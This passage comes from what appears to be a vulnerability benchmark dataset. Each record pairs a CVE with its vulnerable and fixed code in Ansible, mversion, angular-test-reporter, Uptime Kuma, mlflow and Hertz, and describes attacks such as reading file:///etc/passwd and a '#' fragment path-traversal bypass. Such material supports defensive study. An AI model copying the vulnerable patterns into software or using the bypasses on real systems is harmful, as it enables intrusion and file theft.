in members:\n                            # we only extract files, and remove any relative path\n                            # bits that might be in the file for security purposes\n                            # and drop any containing directory, as mentioned above\n                            if member.isreg() or member.issym():\n                                for attr in ('name', 'linkname'):\n                                    attr_value = getattr(member, attr, None)\n                                    if not attr_value:\n                                        continue\n                                    n_attr_value = to_native(attr_value)\n                                    n_archive_parent_dir = to_native(archive_parent_dir)\n                                    n_parts = n_attr_value.replace(n_archive_parent_dir, \"\", 1).split(os.sep)\n                                    n_final_parts = []\n                                    for n_part in n_parts:\n                                        # TODO if the condition triggers it produces a broken installation.\n                                        # It will create the parent directory as an empty file and will\n                                        # explode if the directory contains valid files.\n                                        # Leaving this as is since the whole module needs a rewrite.\n                                        #\n                                        # Check if we have any files with illegal names,\n                                        # and display a warning if so. This could help users\n                                        # to debug a broken installation.\n                                        if not n_part:\n                                            continue\n                                        if n_part == '..':\n                                            display.warning(f\"Illegal filename '{n_part}': '..' is not allowed\")\n                                            continue\n                                        if n_part.startswith('~'):\n                                            display.warning(f\"Illegal filename '{n_part}': names cannot start with '~'\")\n                                            continue\n                                        if '$' in n_part:\n                                            display.warning(f\"Illegal filename '{n_part}': names cannot contain '$'\")\n                                            continue\n                                        n_final_parts.append(n_part)\n                                    setattr(member, attr, os.path.join(*n_final_parts))\n\n                                if _check_working_data_filter():\n                                    # deprecated: description='extract fallback without filter' python_version='3.11'\n                                    role_tar_file.extract(member, to_native(self.path), filter='data')  # type: ignore[call-arg]\n                                else:\n                                    role_tar_file.extract(member, to_native(self.path))\n\n                        # write out the install info file for later use\n                        self._write_galaxy_install_info()\n                        break\n                    except OSError as e:\n                        if e.errno == errno.EACCES and idx < paths_len - 1:\n                            continue\n                        raise AnsibleError(\"Could not update files in %s: %s\" % (self.path, to_native(e)))\n\n                # return the parsed yaml metadata\n                display.display(\"- %s was installed successfully\" % str(self))\n                if not (self.src and os.path.isfile(self.src)):\n                    try:\n                        os.unlink(tmp_file)\n                    except (OSError, IOError) as e:\n                        display.warning(u\"Unable to remove tmp file (%s): %s\" % (tmp_file, to_text(e)))\n                return True\n\n        return False"}], "vul_patch": "--- a/lib/ansible/galaxy/role.py\n+++ b/lib/ansible/galaxy/role.py\n@@ -123,18 +123,36 @@\n                             # bits that might be in the file for security purposes\n                             # and drop any containing directory, as mentioned above\n                             if member.isreg() or member.issym():\n-                                n_member_name = to_native(member.name)\n-                                n_archive_parent_dir = to_native(archive_parent_dir)\n-                                n_parts = n_member_name.replace(n_archive_parent_dir, \"\", 1).split(os.sep)\n-                                n_final_parts = []\n-                                for n_part in n_parts:\n-                                    # TODO if the condition triggers it produces a broken installation.\n-                                    # It will create the parent directory as an empty file and will\n-                                    # explode if the directory contains valid files.\n-                                    # Leaving this as is since the whole module needs a rewrite.\n-                                    if n_part != '..' and not n_part.startswith('~') and '$' not in n_part:\n+                                for attr in ('name', 'linkname'):\n+                                    attr_value = getattr(member, attr, None)\n+                                    if not attr_value:\n+                                        continue\n+                                    n_attr_value = to_native(attr_value)\n+                                    n_archive_parent_dir = to_native(archive_parent_dir)\n+                                    n_parts = n_attr_value.replace(n_archive_parent_dir, \"\", 1).split(os.sep)\n+                                    n_final_parts = []\n+                                    for n_part in n_parts:\n+                                        # TODO if the condition triggers it produces a broken installation.\n+                                        # It will create the parent directory as an empty file and will\n+                                        # explode if the directory contains valid files.\n+                                        # Leaving this as is since the whole module needs a rewrite.\n+                                        #\n+                                        # Check if we have any files with illegal names,\n+                                        # and display a warning if so. This could help users\n+                                        # to debug a broken installation.\n+                                        if not n_part:\n+                                            continue\n+                                        if n_part == '..':\n+                                            display.warning(f\"Illegal filename '{n_part}': '..' is not allowed\")\n+                                            continue\n+                                        if n_part.startswith('~'):\n+                                            display.warning(f\"Illegal filename '{n_part}': names cannot start with '~'\")\n+                                            continue\n+                                        if '$' in n_part:\n+                                            display.warning(f\"Illegal filename '{n_part}': names cannot contain '$'\")\n+                                            continue\n                                         n_final_parts.append(n_part)\n-                                member.name = os.path.join(*n_final_parts)\n+                                    setattr(member, attr, os.path.join(*n_final_parts))\n \n                                 if _check_working_data_filter():\n                                     # deprecated: description='extract fallback without filter' python_version='3.11'\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7688", "cve_description": "The issue occurs because tagName user input is formatted inside the exec function is executed without any checks.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/mikaelbr/mversion", "patch_url": ["https://github.com/mikaelbr/mversion/commit/b7a8b32600e60759a7ad3921ec4a2750bf173482"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_109_1", "commit": "a9ddbc2", "file_path": "lib/git.js", "start_line": 50, "end_line": 71, "snippet": "module.exports.commit = function (files, message, newVer, tagName, callback) {\n  message = escapeQuotes(message.replace(\"%s\", newVer));\n  files = files.map(escapeQuotes).join(\" \");\n  var functionSeries = [\n    function (done) {\n      cp.exec(gitApp + \" add \" + files, gitExtra, done);\n    },\n\n    function (done) {\n      cp.exec([gitApp, \"commit\", \"-m\", message].join(\" \"), gitExtra, done);\n    },\n\n    function (done) {\n      cp.exec(\n        [gitApp, \"tag\", \"-a\", tagName, \"-m\", message].join(\" \"),\n        gitExtra,\n        done\n      );\n    },\n  ];\n  contra.series(functionSeries, callback);\n};"}], "fix_func": [{"id": "fix_js_109_1", "commit": "b7a8b32", "file_path": "lib/git.js", "start_line": 50, "end_line": 71, "snippet": "module.exports.commit = function (files, message, newVer, tagName, callback) {\n  message = escapeQuotes(message.replace(\"%s\", newVer));\n  files = files.map(escapeQuotes).join(\" \");\n  var functionSeries = [\n    function (done) {\n      cp.exec(gitApp + \" add \" + files, gitExtra, done);\n    },\n\n    function (done) {\n      cp.exec([gitApp, \"commit\", \"-m\", message].join(\" \"), gitExtra, done);\n    },\n\n    function (done) {\n      cp.exec(\n        [gitApp, \"tag\", \"-a\", escapeQuotes(tagName), \"-m\", message].join(\" \"),\n        gitExtra,\n        done\n      );\n    },\n  ];\n  contra.series(functionSeries, callback);\n};"}], "vul_patch": "--- a/lib/git.js\n+++ b/lib/git.js\n@@ -12,7 +12,7 @@\n \n     function (done) {\n       cp.exec(\n-        [gitApp, \"tag\", \"-a\", tagName, \"-m\", message].join(\" \"),\n+        [gitApp, \"tag\", \"-a\", escapeQuotes(tagName), \"-m\", message].join(\" \"),\n         gitExtra,\n         done\n       );\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-10035", "cve_description": "A vulnerability was found in gperson angular-test-reporter and classified as critical. This issue affects the function getProjectTables/addTest of the file rest-server/data-server.js. The manipulation leads to sql injection. The patch is named a29d8ae121b46ebfa96a55a9106466ab2ef166ae. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-217715.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/gperson/angular-test-reporter", "patch_url": ["https://github.com/gperson/angular-test-reporter/commit/a29d8ae121b46ebfa96a55a9106466ab2ef166ae"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_163_1", "commit": "df486c8", "file_path": "rest-server/data-server.js", "start_line": 136, "end_line": 148, "snippet": "function addNote(request, response, note){\n\tvar parts = url.parse(request.url,true);\n\tvar query = connection.query(\"INSERT INTO notes_\"+(parts.query.table).substring(6)+\" (testId,who,note) VALUES (\"+note.testId+\",'\" + note.who + \"','\"+note.note+\"')\", function(err, rows, fields) {\n\t\tif (err) {\n\t\t\tresponse.statusCode = 400;\n\t\t\tconsole.log(err);\n\t\t} \n\t});\n\n\tquery.on('end',function(){\n\t\tresponse.end();\n\t});\n}"}, {"id": "vul_js_163_2", "commit": "df486c8", "file_path": "rest-server/data-server.js", "start_line": 156, "end_line": 177, "snippet": "function addTest(request, response, body){\n\tvar table = body.table;\n\tvar test = body.result;\n\tvar start = new Date(Number(test.start));\n\tvar end = new Date(Number(test.end));\n\n\t//Format to YYYY-MM-DD HH:MM:SS\n\tstart = start.getFullYear()+\"-\"+(start.getMonth()+1)+\"-\"+start.getDate()+\" \"+start.getHours()+\":\"+start.getMinutes()+\":\"+start.getSeconds();\n\tend = end.getFullYear()+\"-\"+(end.getMonth()+1)+\"-\"+end.getDate()+\" \"+end.getHours()+\":\"+end.getMinutes()+\":\"+end.getSeconds();\n\n\tvar queryStr = \"INSERT INTO \"+table+\" (name,param,error,start,end,status,extra,runInfo) VALUES ('\"+test.name+\"','\" + test.param + \"','\"+test.error+ \"','\"+start+ \"','\"+end+ \"','\"+test.status+ \"','\"+test.extra+ \"','\"+test.runInfo+\"')\";\n\tvar query = connection.query(queryStr, function(err, rows, fields) {\n\t\tif (err) {\n\t\t\tresponse.statusCode = 400;\n\t\t\tconsole.log(err);\n\t\t} \n\t});\n\n\tquery.on('end',function(){\n\t\tresponse.end();\n\t});\n}"}], "fix_func": [{"id": "fix_js_163_1", "commit": "a29d8ae", "file_path": "rest-server/data-server.js", "start_line": 136, "end_line": 149, "snippet": "function addNote(request, response, note){\n\tvar parts = url.parse(request.url,true);\n\tvar queryStr = \"INSERT INTO notes_\"+(parts.query.table).substring(6)+\" (testId,who,note) VALUES (\"+connection.escape(note.testId)+\",\" + connection.escape(note.who) + \",\"+connection.escape(note.note)+\")\";\n\tvar query = connection.query(queryStr,function(err, rows, fields) {\n\t\tif (err) {\n\t\t\tresponse.statusCode = 400;\n\t\t\tconsole.log(err);\n\t\t} \n\t});\n\n\tquery.on('end',function(){\n\t\tresponse.end();\n\t});\n}"}, {"id": "fix_js_163_2", "commit": "a29d8ae", "file_path": "rest-server/data-server.js", "start_line": 157, "end_line": 178, "snippet": "function addTest(request, response, body){\n\tvar table = body.table;\n\tvar test = body.result;\n\tvar start = new Date(Number(test.start));\n\tvar end = new Date(Number(test.end));\n\n\t//Format to YYYY-MM-DD HH:MM:SS\n\tstart = start.getFullYear()+\"-\"+(start.getMonth()+1)+\"-\"+start.getDate()+\" \"+start.getHours()+\":\"+start.getMinutes()+\":\"+start.getSeconds();\n\tend = end.getFullYear()+\"-\"+(end.getMonth()+1)+\"-\"+end.getDate()+\" \"+end.getHours()+\":\"+end.getMinutes()+\":\"+end.getSeconds();\n\n\tvar queryStr = \"INSERT INTO \"+table+\" (name,param,error,start,end,status,extra,runInfo) VALUES (\"+connection.escape(test.name)+\"','\" + connection.escape(test.param) + \",\"+connection.escape(test.error)+ \"','\"+start+ \"','\"+end+ \"',\"+connection.escape(test.status)+ \",\"+connection.escape(test.extra)+ \",\"+connection.escape(test.runInfo)+\")\";\n\tvar query = connection.query(queryStr, function(err, rows, fields) {\n\t\tif (err) {\n\t\t\tresponse.statusCode = 400;\n\t\t\tconsole.log(err);\n\t\t} \n\t});\n\n\tquery.on('end',function(){\n\t\tresponse.end();\n\t});\n}"}], "vul_patch": "--- a/rest-server/data-server.js\n+++ b/rest-server/data-server.js\n@@ -1,6 +1,7 @@\n function addNote(request, response, note){\n \tvar parts = url.parse(request.url,true);\n-\tvar query = connection.query(\"INSERT INTO notes_\"+(parts.query.table).substring(6)+\" (testId,who,note) VALUES (\"+note.testId+\",'\" + note.who + \"','\"+note.note+\"')\", function(err, rows, fields) {\n+\tvar queryStr = \"INSERT INTO notes_\"+(parts.query.table).substring(6)+\" (testId,who,note) VALUES (\"+connection.escape(note.testId)+\",\" + connection.escape(note.who) + \",\"+connection.escape(note.note)+\")\";\n+\tvar query = connection.query(queryStr,function(err, rows, fields) {\n \t\tif (err) {\n \t\t\tresponse.statusCode = 400;\n \t\t\tconsole.log(err);\n\n--- a/rest-server/data-server.js\n+++ b/rest-server/data-server.js\n@@ -8,7 +8,7 @@\n \tstart = start.getFullYear()+\"-\"+(start.getMonth()+1)+\"-\"+start.getDate()+\" \"+start.getHours()+\":\"+start.getMinutes()+\":\"+start.getSeconds();\n \tend = end.getFullYear()+\"-\"+(end.getMonth()+1)+\"-\"+end.getDate()+\" \"+end.getHours()+\":\"+end.getMinutes()+\":\"+end.getSeconds();\n \n-\tvar queryStr = \"INSERT INTO \"+table+\" (name,param,error,start,end,status,extra,runInfo) VALUES ('\"+test.name+\"','\" + test.param + \"','\"+test.error+ \"','\"+start+ \"','\"+end+ \"','\"+test.status+ \"','\"+test.extra+ \"','\"+test.runInfo+\"')\";\n+\tvar queryStr = \"INSERT INTO \"+table+\" (name,param,error,start,end,status,extra,runInfo) VALUES (\"+connection.escape(test.name)+\"','\" + connection.escape(test.param) + \",\"+connection.escape(test.error)+ \"','\"+start+ \"','\"+end+ \"',\"+connection.escape(test.status)+ \",\"+connection.escape(test.extra)+ \",\"+connection.escape(test.runInfo)+\")\";\n \tvar query = connection.query(queryStr, function(err, rows, fields) {\n \t\tif (err) {\n \t\t\tresponse.statusCode = 400;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-56331", "cve_description": "Uptime Kuma is an open source, self-hosted monitoring tool. An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **\"real-browser\"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server. This vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (`<input data-v-5f5c86d7=\"\" id=\"url\" type=\"url\" class=\"form-control\" pattern=\"https?://.+\" required=\"\">`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the \"real-browser\" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file\u2019s content. Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. Any **authenticated user** who can submit a URL in \"real-browser\" mode is at risk of exposing sensitive data through screenshots of these files. This issue has been addressed in version 1.23.16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/louislam/uptime-kuma", "patch_url": ["https://github.com/louislam/uptime-kuma/commit/6cfae01a0d3727c517afe512fc8fec1d99acf875"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_172_1", "commit": "32dc76a", "file_path": "server/monitor-types/real-browser-monitor-type.js", "start_line": 187, "end_line": 219, "snippet": "class RealBrowserMonitorType extends MonitorType {\n\n    name = \"real-browser\";\n\n    async check(monitor, heartbeat, server) {\n        const browser = await getBrowser();\n        const context = await browser.newContext();\n        const page = await context.newPage();\n\n        const res = await page.goto(monitor.url, {\n            waitUntil: \"networkidle\",\n            timeout: monitor.interval * 1000 * 0.8,\n        });\n\n        let filename = jwt.sign(monitor.id, server.jwtSecret) + \".png\";\n\n        await page.screenshot({\n            path: path.join(Database.screenshotDir, filename),\n        });\n\n        await context.close();\n\n        if (res.status() >= 200 && res.status() < 400) {\n            heartbeat.status = UP;\n            heartbeat.msg = res.status();\n\n            const timing = res.request().timing();\n            heartbeat.ping = timing.responseEnd;\n        } else {\n            throw new Error(res.status() + \"\");\n        }\n    }\n}"}], "fix_func": [{"id": "fix_js_172_1", "commit": "6cfae01", "file_path": "server/monitor-types/real-browser-monitor-type.js", "start_line": 187, "end_line": 227, "snippet": "class RealBrowserMonitorType extends MonitorType {\n\n    name = \"real-browser\";\n\n    async check(monitor, heartbeat, server) {\n        const browser = await getBrowser();\n        const context = await browser.newContext();\n        const page = await context.newPage();\n\n        // Prevent Local File Inclusion\n        // Accept only http:// and https://\n        // https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h\n        let url = new URL(monitor.url);\n        if (url.protocol !== \"http:\" && url.protocol !== \"https:\") {\n            throw new Error(\"Invalid url protocol, only http and https are allowed.\");\n        }\n\n        const res = await page.goto(monitor.url, {\n            waitUntil: \"networkidle\",\n            timeout: monitor.interval * 1000 * 0.8,\n        });\n\n        let filename = jwt.sign(monitor.id, server.jwtSecret) + \".png\";\n\n        await page.screenshot({\n            path: path.join(Database.screenshotDir, filename),\n        });\n\n        await context.close();\n\n        if (res.status() >= 200 && res.status() < 400) {\n            heartbeat.status = UP;\n            heartbeat.msg = res.status();\n\n            const timing = res.request().timing();\n            heartbeat.ping = timing.responseEnd;\n        } else {\n            throw new Error(res.status() + \"\");\n        }\n    }\n}"}], "vul_patch": "--- a/server/monitor-types/real-browser-monitor-type.js\n+++ b/server/monitor-types/real-browser-monitor-type.js\n@@ -6,6 +6,14 @@\n         const browser = await getBrowser();\n         const context = await browser.newContext();\n         const page = await context.newPage();\n+\n+        // Prevent Local File Inclusion\n+        // Accept only http:// and https://\n+        // https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h\n+        let url = new URL(monitor.url);\n+        if (url.protocol !== \"http:\" && url.protocol !== \"https:\") {\n+            throw new Error(\"Invalid url protocol, only http and https are allowed.\");\n+        }\n \n         const res = await page.goto(monitor.url, {\n             waitUntil: \"networkidle\",\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-3848", "cve_description": "A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mlflow/mlflow", "patch_url": ["https://github.com/mlflow/mlflow/commit/f8d51e21523238280ebcfdb378612afd7844eca8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_32_1", "commit": "c01c02a", "file_path": "mlflow/server/handlers.py", "start_line": 589, "end_line": 612, "snippet": "def _create_experiment():\n    request_message = _get_request_message(\n        CreateExperiment(),\n        schema={\n            \"name\": [_assert_required, _assert_string],\n            \"artifact_location\": [_assert_string],\n            \"tags\": [_assert_array],\n        },\n    )\n\n    tags = [ExperimentTag(tag.key, tag.value) for tag in request_message.tags]\n\n    # Validate query string in artifact location to prevent attacks\n    parsed_artifact_locaion = urllib.parse.urlparse(request_message.artifact_location)\n    validate_query_string(parsed_artifact_locaion.query)\n\n    experiment_id = _get_tracking_store().create_experiment(\n        request_message.name, request_message.artifact_location, tags\n    )\n    response_message = CreateExperiment.Response()\n    response_message.experiment_id = experiment_id\n    response = Response(mimetype=\"application/json\")\n    response.set_data(message_to_json(response_message))\n    return response"}, {"id": "vul_py_32_2", "commit": "c01c02a", "file_path": "mlflow/server/handlers.py", "start_line": 1723, "end_line": 1742, "snippet": "def _validate_source(source: str, run_id: str) -> None:\n    if is_local_uri(source):\n        if run_id:\n            store = _get_tracking_store()\n            run = store.get_run(run_id)\n            source = pathlib.Path(local_file_uri_to_path(source)).resolve()\n            run_artifact_dir = pathlib.Path(local_file_uri_to_path(run.info.artifact_uri)).resolve()\n            if run_artifact_dir in [source, *source.parents]:\n                return\n\n        raise MlflowException(\n            f\"Invalid model version source: '{source}'. To use a local path as a model version \"\n            \"source, the run_id request parameter has to be specified and the local path has to be \"\n            \"contained within the artifact directory of the run specified by the run_id.\",\n            INVALID_PARAMETER_VALUE,\n        )\n\n    # Checks if relative paths are present in the source (a security threat). If any are present,\n    # raises an Exception.\n    _validate_non_local_source_contains_relative_paths(source)"}], "fix_func": [{"id": "fix_py_32_1", "commit": "f8d51e2", "file_path": "mlflow/server/handlers.py", "start_line": 589, "end_line": 616, "snippet": "def _create_experiment():\n    request_message = _get_request_message(\n        CreateExperiment(),\n        schema={\n            \"name\": [_assert_required, _assert_string],\n            \"artifact_location\": [_assert_string],\n            \"tags\": [_assert_array],\n        },\n    )\n\n    tags = [ExperimentTag(tag.key, tag.value) for tag in request_message.tags]\n\n    # Validate query string in artifact location to prevent attacks\n    parsed_artifact_locaion = urllib.parse.urlparse(request_message.artifact_location)\n    if parsed_artifact_locaion.fragment:\n        raise MlflowException(\n            \"'artifact_location' URL can't include fragment part.\",\n            error_code=INVALID_PARAMETER_VALUE,\n        )\n    validate_query_string(parsed_artifact_locaion.query)\n    experiment_id = _get_tracking_store().create_experiment(\n        request_message.name, request_message.artifact_location, tags\n    )\n    response_message = CreateExperiment.Response()\n    response_message.experiment_id = experiment_id\n    response = Response(mimetype=\"application/json\")\n    response.set_data(message_to_json(response_message))\n    return response"}, {"id": "fix_py_32_2", "commit": "f8d51e2", "file_path": "mlflow/server/handlers.py", "start_line": 1727, "end_line": 1749, "snippet": "def _validate_source(source: str, run_id: str) -> None:\n    if is_local_uri(source):\n        if run_id:\n            store = _get_tracking_store()\n            run = store.get_run(run_id)\n            source = pathlib.Path(local_file_uri_to_path(source)).resolve()\n            if is_local_uri(run.info.artifact_uri):\n                run_artifact_dir = pathlib.Path(\n                    local_file_uri_to_path(run.info.artifact_uri)\n                ).resolve()\n                if run_artifact_dir in [source, *source.parents]:\n                    return\n\n        raise MlflowException(\n            f\"Invalid model version source: '{source}'. To use a local path as a model version \"\n            \"source, the run_id request parameter has to be specified and the local path has to be \"\n            \"contained within the artifact directory of the run specified by the run_id.\",\n            INVALID_PARAMETER_VALUE,\n        )\n\n    # Checks if relative paths are present in the source (a security threat). If any are present,\n    # raises an Exception.\n    _validate_non_local_source_contains_relative_paths(source)"}], "vul_patch": "--- a/mlflow/server/handlers.py\n+++ b/mlflow/server/handlers.py\n@@ -12,8 +12,12 @@\n \n     # Validate query string in artifact location to prevent attacks\n     parsed_artifact_locaion = urllib.parse.urlparse(request_message.artifact_location)\n+    if parsed_artifact_locaion.fragment:\n+        raise MlflowException(\n+            \"'artifact_location' URL can't include fragment part.\",\n+            error_code=INVALID_PARAMETER_VALUE,\n+        )\n     validate_query_string(parsed_artifact_locaion.query)\n-\n     experiment_id = _get_tracking_store().create_experiment(\n         request_message.name, request_message.artifact_location, tags\n     )\n\n--- a/mlflow/server/handlers.py\n+++ b/mlflow/server/handlers.py\n@@ -4,9 +4,12 @@\n             store = _get_tracking_store()\n             run = store.get_run(run_id)\n             source = pathlib.Path(local_file_uri_to_path(source)).resolve()\n-            run_artifact_dir = pathlib.Path(local_file_uri_to_path(run.info.artifact_uri)).resolve()\n-            if run_artifact_dir in [source, *source.parents]:\n-                return\n+            if is_local_uri(run.info.artifact_uri):\n+                run_artifact_dir = pathlib.Path(\n+                    local_file_uri_to_path(run.info.artifact_uri)\n+                ).resolve()\n+                if run_artifact_dir in [source, *source.parents]:\n+                    return\n \n         raise MlflowException(\n             f\"Invalid model version source: '{source}'. To use a local path as a model version \"\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-3848:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/mlflow\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2024-3848/bin/python -m pytest tests/server/test_handlers.py::test_local_file_read_write_by_pass_vulnerability -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-3848:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/mlflow\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2024-3848/bin/python -m pytest tests/server/test_handlers.py -k \"not test_mlflow_server_with_installed_plugin\" -p no:warning --disable-warnings "}
{"cve_id": "CVE-2022-40082", "cve_description": "Hertz v0.3.0 ws discovered to contain a path traversal vulnerability via the normalizePath function.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cloudwego/hertz", "patch_url": ["https://github.com/cloudwego/hertz/commit/dcb0b5a1861a1e2e4629a8607a3ca9c89009ac55", "https://github.com/cloudwego/hertz/commit/dcb0b5a1861a1e2e4629a8607a3ca9c89009ac55#"], "programing_language": "Go", "vul_func": [{"id": "vul_go_165_1", "commit": "690c346", "file_path": "pkg/protocol/uri.go", "start_line": 482, "end_line": 540, "snippet": "func normalizePath(dst, src []byte) []byte {\n\tdst = dst[:0]\n\tdst = addLeadingSlash(dst, src)\n\tdst = decodeArgAppendNoPlus(dst, src)\n\n\t// remove duplicate slashes\n\tb := dst\n\tbSize := len(b)\n\tfor {\n\t\tn := bytes.Index(b, bytestr.StrSlashSlash)\n\t\tif n < 0 {\n\t\t\tbreak\n\t\t}\n\t\tb = b[n:]\n\t\tcopy(b, b[1:])\n\t\tb = b[:len(b)-1]\n\t\tbSize--\n\t}\n\tdst = dst[:bSize]\n\n\t// remove /./ parts\n\tb = dst\n\tfor {\n\t\tn := bytes.Index(b, bytestr.StrSlashDotSlash)\n\t\tif n < 0 {\n\t\t\tbreak\n\t\t}\n\t\tnn := n + len(bytestr.StrSlashDotSlash) - 1\n\t\tcopy(b[n:], b[nn:])\n\t\tb = b[:len(b)-nn+n]\n\t}\n\n\t// remove /foo/../ parts\n\tfor {\n\t\tn := bytes.Index(b, bytestr.StrSlashDotDotSlash)\n\t\tif n < 0 {\n\t\t\tbreak\n\t\t}\n\t\tnn := bytes.LastIndexByte(b[:n], '/')\n\t\tif nn < 0 {\n\t\t\tnn = 0\n\t\t}\n\t\tn += len(bytestr.StrSlashDotDotSlash) - 1\n\t\tcopy(b[nn:], b[n:])\n\t\tb = b[:len(b)-n+nn]\n\t}\n\n\t// remove trailing /foo/..\n\tn := bytes.LastIndex(b, bytestr.StrSlashDotDot)\n\tif n >= 0 && n+len(bytestr.StrSlashDotDot) == len(b) {\n\t\tnn := bytes.LastIndexByte(b[:n], '/')\n\t\tif nn < 0 {\n\t\t\treturn bytestr.StrSlash\n\t\t}\n\t\tb = b[:nn+1]\n\t}\n\n\treturn b\n}"}], "fix_func": [{"id": "fix_go_165_1", "commit": "dcb0b5a", "file_path": "pkg/protocol/uri.go", "start_line": 483, "end_line": 553, "snippet": "func normalizePath(dst, src []byte) []byte {\n\tdst = dst[:0]\n\tdst = addLeadingSlash(dst, src)\n\tdst = decodeArgAppendNoPlus(dst, src)\n\n\t// Windows server need to replace all backslashes with\n\t// forward slashes to avoid path traversal attacks.\n\tif filepath.Separator == '\\\\' {\n\t\tfor {\n\t\t\tn := bytes.IndexByte(dst, '\\\\')\n\t\t\tif n < 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tdst[n] = '/'\n\t\t}\n\t}\n\n\t// remove duplicate slashes\n\tb := dst\n\tbSize := len(b)\n\tfor {\n\t\tn := bytes.Index(b, bytestr.StrSlashSlash)\n\t\tif n < 0 {\n\t\t\tbreak\n\t\t}\n\t\tb = b[n:]\n\t\tcopy(b, b[1:])\n\t\tb = b[:len(b)-1]\n\t\tbSize--\n\t}\n\tdst = dst[:bSize]\n\n\t// remove /./ parts\n\tb = dst\n\tfor {\n\t\tn := bytes.Index(b, bytestr.StrSlashDotSlash)\n\t\tif n < 0 {\n\t\t\tbreak\n\t\t}\n\t\tnn := n + len(bytestr.StrSlashDotSlash) - 1\n\t\tcopy(b[n:], b[nn:])\n\t\tb = b[:len(b)-nn+n]\n\t}\n\n\t// remove /foo/../ parts\n\tfor {\n\t\tn := bytes.Index(b, bytestr.StrSlashDotDotSlash)\n\t\tif n < 0 {\n\t\t\tbreak\n\t\t}\n\t\tnn := bytes.LastIndexByte(b[:n], '/')\n\t\tif nn < 0 {\n\t\t\tnn = 0\n\t\t}\n\t\tn += len(bytestr.StrSlashDotDotSlash) - 1\n\t\tcopy(b[nn:], b[n:])\n\t\tb = b[:len(b)-n+nn]\n\t}\n\n\t// remove trailing /foo/..\n\tn := bytes.LastIndex(b, bytestr.StrSlashDotDot)\n\tif n >= 0 && n+len(bytestr.StrSlashDotDot) == len(b) {\n\t\tnn := bytes.LastIndexByte(b[:n], '/')\n\t\tif nn < 0 